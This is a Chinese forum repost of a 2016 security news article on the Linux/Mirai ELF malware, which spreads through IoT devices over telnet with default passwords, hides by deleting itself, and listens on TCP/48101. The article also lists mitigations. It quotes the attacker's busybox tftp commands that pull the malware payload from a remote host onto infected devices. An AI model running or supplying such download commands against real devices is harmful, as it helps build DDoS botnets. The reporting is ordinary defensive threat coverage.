搜索

[3138] 2016-09-07_LinuxMiraiELF专门攻击物联网设备的恶意软件

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-16
2016-09-07_LinuxMiraiELF专门攻击物联网设备的恶意软件 L i n u x / M i r a i   E L F   : 专 门 攻 击 物 联 网 设 备 的 恶 意 软 件 原 创   E 安 全   E 安 全   2 0 1 6 - 0 9 - 0 7 E 安 全 9 月 7 日 讯   M a l w a r e M u s t D i e 的 专 家 发 现 了 一 款 名 为 “ E L F   L i n u x / M i r a i ” 的 新 型 E L F 木 马 后 门 ， 正 针 对 物 联 网 设 备 展 开 攻 击 。 M a l w a r e M u s t D i e 专 家 八 月 分 析 了 一 个 特 殊 的 E L F 木 马 后 门 样 本 — 被 称 为 E L F   L i n u x / M i r a i ， 目 前 该 木 马 后 门 正 针 对 物 联 网 设 备 。 这 款 恶 意 软 件 的 名 称 与 二 进 制 “ m i r a i . * ” 相 同 。 据 专 家 称 ， 该 恶 意 软 件 已 发 动 数 起 攻 击 。 V i r u s T o t a l 在 线 扫 描 服 务 公 司 证 实 ， E L F   L i n u x / M i r a i 十 分 隐 秘 ， 许 多 杀 毒 解 决 方 案 仍 无 法 检 测 到 ， 检 测 率 极 低 。 M a l w a r e M u s t D i e 博 客 中 一 份 分 析 报 告 指 出 ， “ 缺 乏 检 测 的 原 因 在 于 缺 乏 样 本 ， 难 以 从 受 感 染 的 物 联 网 设 备 、 路 由 器 、 D V R 或 W e b I P 摄 像 头 和 嵌 入 式 平 台 中 带 有 B u s y b o x 二 进 制 的 L i n u x 中 获 取 样 本 。 ” S e c u r i t y   A f f a i r s 检 测 的 最 后 一 个 E F L 为 L i n u x 木 马 L i n u x . P N S c a n ， 这 款 木 马 活 跃 针 对 x 8 6   L i n u x 路 由 器 ， 设 法 安 装 后 门 。
但 M a l w a r e M u s t D i e 透 露 ， L i n u x / M i r a i 比 P n S a n 大 得 多 。 分 析 指 出 ， “ 这 种 威 胁 于 8 月 初 浮 出 水 面 ， 尽 管 这 个 E L F 不 易 被 检 测 ， 因 为 在 安 装 后 不 会 马 上 显 示 软 件 活 动 ： 只 是 静 静 待 在 这 里 ， 不 会 在 系 统 中 残 留 恶 意 软 件 ， 除 了 恶 意 软 件 运 行 的 延 迟 过 程 外 ， 所 有 文 件 均 被 删 除 。 ” 这 就 意 味 着 当 感 染 成 功 ， 难 以 通 过 未 受 感 染 的 系 统 区 分 受 感 染 的 系 统 ， 除 了 内 存 分 析 。 我 们 讨 论 的 是 一 类 不 易 分 析 并 调 试 的 设 备 。 起 初 ， 对 文 件 系 统 或 外 部 网 络 流 量 的 普 通 分 析 无 法 提 供 任 何 证 据 。 物 联 网 环 境 不 利 。 物 联 网 塑 造 着 新 一 类 强 大 的 僵 尸 网 络 ， 扩 散 至 全 球 。 哪 个 国 家 更 易 遭 受 此 类 攻 击 ？ “ 具 有 L i n u x   b u s y b o x 嵌 入 式 联 网 设 备 的 国 家 ， 例 如 D V R 或 W e b 网 络 摄 像 头 ； 以 及 通 过 在 全 球 I P 地 址 运 行 的 L i n u x 路 由 器 为 用 户 提 供 I S P 服 务 的 国 家 更 易 成 为 这 类 攻 击 的 目 标 ， 尤 其 ， 未 保 护 T e l n e t 远 程 端 口 服 务 （ T c p / 2 3 ） 访 问 安 全 的 设 备 或 服 务 。 ” “ L i n u x / M i r a i 开 发 人 员 成 功 编 码 字 符 串 并 将 流 量 分 流 来 伪 装 自 己 。 ” 对 于 所 有 系 统 管 理 员 最 重 要 的 是 防 御 这 类 感 染 ： 与 好 朋 友 一 起 参 与 开 放 式 过 滤 系 统 ， 安 全 工 程 师 正 努 力 推 动 — M a l w a r e M u s t D i e — 正 确 的 过 滤 签 名 提 醒 系 统 管 理 员 是 否 遭 受 这 类 攻 击 威 胁 。 在 一 个 试 点 中 ， 具 有 正 确 签 名 的 系 统 管 理 员 发 现 ， 仅 仅 几 天 内 ， 攻 击 来 源 就 有 数 百 个 地 址 。 似 乎 感 染 在 扩 散 ， 僵 尸 网 络 似 乎 非 常 广 泛 。 这 时 ， 所 有 想 要 保 护 系 统 的 系 统 管 理 员 应 当 参 看 以 下 缓 解 措 施 ： 如 果 你 具 有 物 联 网 设 备 ， 请 确 保 未 打 开 如 果 你 具 有 物 联 网 设 备 ， 请 确 保 未 打 开 t e l n e t 服 务 ， 该 服 务 未 运 行 。 服 务 ， 该 服 务 未 运 行 。 如 果 你 未 使 用 T C P / 4 8 1 0 1 端 口 ， 请 禁 用 ， 免 于 遭 受 感 染 和 进 一 步 损 害 。 监 控 t e l n e t 连 接 ， 因 为 用 户 感 染 的 僵 尸 网 络 协 议 为 T e l n e t 服 务 。 逆 向 过 程 ， 寻 找 M a l w a r e M u s t D i e 检 测 工 具 提 示 中 报 告 的 字 符 串 。 然 而 ， 我 们 确 切 地 知 道 L i n u x / M i r a i   E L F 恶 意 软 件 ， 但 为 什 么 恶 意 软 件 分 析 专 家 却 不 热 衷 分 析 这 款 恶 意 软 件 ？ M a l w a r e M u s t D i e 表 示 ， “ 很 多 人 不 知 道 此 款 恶 意 软 件 的 原 因 在 于 杀 毒 专 家 认 为 它 是 G a f g y t 或 B a s h l i t e 或 B a s h d o o r 的 变 种 。 另 外 ， 此 款 软 件 的 真 实 样 本 难 以 获 取 ， 因 为 许 多 恶 意 软 件 分 析 专 家 必 须 在 受 感 染 的 设 备 内 存 上 提 取 ， 或 者 入 侵 C N C 获 取 。 ” 这 就 意 味 着 ， 如 果 我 们 关 掉 受 感 染 的 设 备 ， 取 证 分 析 难 上 加 难 ： 所 有 信 息 会 丢 失 ， 并 且 可 能 需 要 新 的 感 染 程 序 重 新 启 动 。 之 前 的 之 前 的 E L F 恶 意 软 件 版 本 之 间 的 最 大 不 同 点 是 什 么 ？ 恶 意 软 件 版 本 之 间 的 最 大 不 同 点 是 什 么 ？ M a l w a r e M u s t D i e 指 出 ， “ 相 比 过 去 的 类 似 威 胁 ， 攻 击 者 目 前 具 有 不 同 策 略 — 尽 量 潜 伏 （ 延 缓 ） 、 不 被 检 测 （ A V 或 流 量 过 滤 器 中 的 低 检 测 率 ） 、 不 可 见 （ 未 追 踪 ， 也 没 有 样 本 提 取 ） 、 加 密 E L F 的 A S C I I 数 据 ， 保 密 分 布 。 但 很 明 显 ， 攻 击 者 的 主 要 目 的 仍 是 D D o S 僵 尸 网 络 ， 以 通 过 他 们 所 谓 的 T e l n e t 扫 描 器 快 速 将 感 染 扩 散 至 物 联 网 设 备 。 ” 这 款 E L F 真 正 隐 秘 地 方 在 于 ， 唯 一 的 追 踪 途 径 是 从 运 行 的 设 备 中 提 取 内 存 。
感 染 模 式 感 染 模 式 攻 击 者 通 过 S S H 或 T e l n e t 账 号 利 用 已 知 漏 洞 或 使 用 默 认 密 码 入 侵 物 联 网 设 备 。 如 果 以 现 有 设 备 的 感 染 条 件 作 为 目 标 ， 这 类 E L F 使 用 特 定 的 技 术 分 叉 （ f o r k ） 新 的 进 程 ， 否 则 节 点 即 为 安 全 ， 安 装 不 会 继 续 。 一 旦 获 取 设 备 的 外 壳 访 问 ， 攻 击 者 将 下 载 E L F   L i n u x / M i r a i 恶 意 软 件 的 有 效 荷 载 ， 下 方 为 在 物 联 网 设 备 上 执 行 操 作 的 命 令 ： ‘ b u s y b o x   t f t p ‘   - r   [ M a l w a r e F i l e ]   - g   [ I P s o u r c e ] ‘ b u s y b o x   t f t p ‘   - g   - l   ‘ d v r H e l p e r ’   - r   [ M a l w a r e F i l e ]   [ I P s o u r c e ] 难 以 分 析 L i n u x / M i r a i 感 染 ， 原 因 在 于 一 旦 执 行 ， 恶 意 软 件 还 能 删 除 痕 迹 。 M a l w a r e M u s t D i e 团 队 表 示 ， “ L i n u x / M i r a i 感 染 的 某 些 情 况 表 明 ， 该 恶 意 软 件 在 没 有 参 数 的 情 况 下 执 行 ； 某 些 情 况 下 ， 执 行 后 会 删 除 下 载 的 恶 意 软 件 文 件 。 这 种 情 况 下 ， 通 常 无 法 获 取 样 本 ， 除 非 将 恶 意 软 件 过 程 转 储 至 E L F 二 进 制 。 这 就 是 难 以 获 取 这 种 新 型 威 胁 样 本 的 原 因 。 ” “ 一 经 执 行 ， 该 恶 意 软 件 将 自 行 删 除 ， 避 免 留 下 踪 迹 ， 但 进 程 仍 在 运 行 。 ” 在 l s o f 中 能 看 见 的 一 些 物 联 网 设 备 或 带 有 特 定 P I D 的 / p r o c 列 表 ， 也 就 是 ： / p r o c / { P I D } / e x e   - >   ‘ / d e v / . { s o m e t h i n g } / d v r H e l p e r ’   ( 删 除 ) / p r o c / { P I D } / e x e   - >   ‘ . / { 长 字 母 字 符 串 } ’   a l p h a b e t   ( 删 除 ) 进 程 运 行 的 同 时 ， 恶 意 软 件 还 打 开 P F _ I N E T （ T C P 的 U N I X 网 络 套 接 字 ） ， 并 将 它 绑 定 到 本 地 主 机 I P 地 址 1 2 7 . 0 . 0 . 1 的 端 口 T C P / 4 8 1 0 1 ， 之 后 开 始 侦 听 连 入 连 接 。 这 款 恶 意 软 件 通 过 新 进 程 P I D 分 叉 新 进 程 。 受 感 染 的 设 备 将 在 其 它 设 备 的 T e l n e t 服 务 上 进 行 连 接 ， 进 一 步 实 施 滥 用 行 为 。 E 安 全 注 ： 本 文 系 E 安 全 编 辑 报 道 ， 转 载 请 联 系 授 权 转 载 请 联 系 授 权 ， 并 保 留 出 处 与 链 接 ， 不 得 删 减 内 容 。 联 系 方 式 ： ①   微 信 号 z h u - g e l i a n g   ② 邮 箱 e a p p @ e a s y a q . c o m
@ E 安 全 ， 最 专 业 的 前 沿 网 络 安 全 媒 体 和 产 业 服 务 平 台 ， 每 日 提 供 优 质 全 球 网 络 安 全 资 讯 与 深 度 思 考 ， 欢 迎 关 注 微 信 公 众 号 「 E 安 全 」 （ E A Q a p p ） ， 或 登 E 安 全 门 户 网 站 w w w . e a s y a q . c o m   ,   查 看 更 多 精 彩 内 容 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理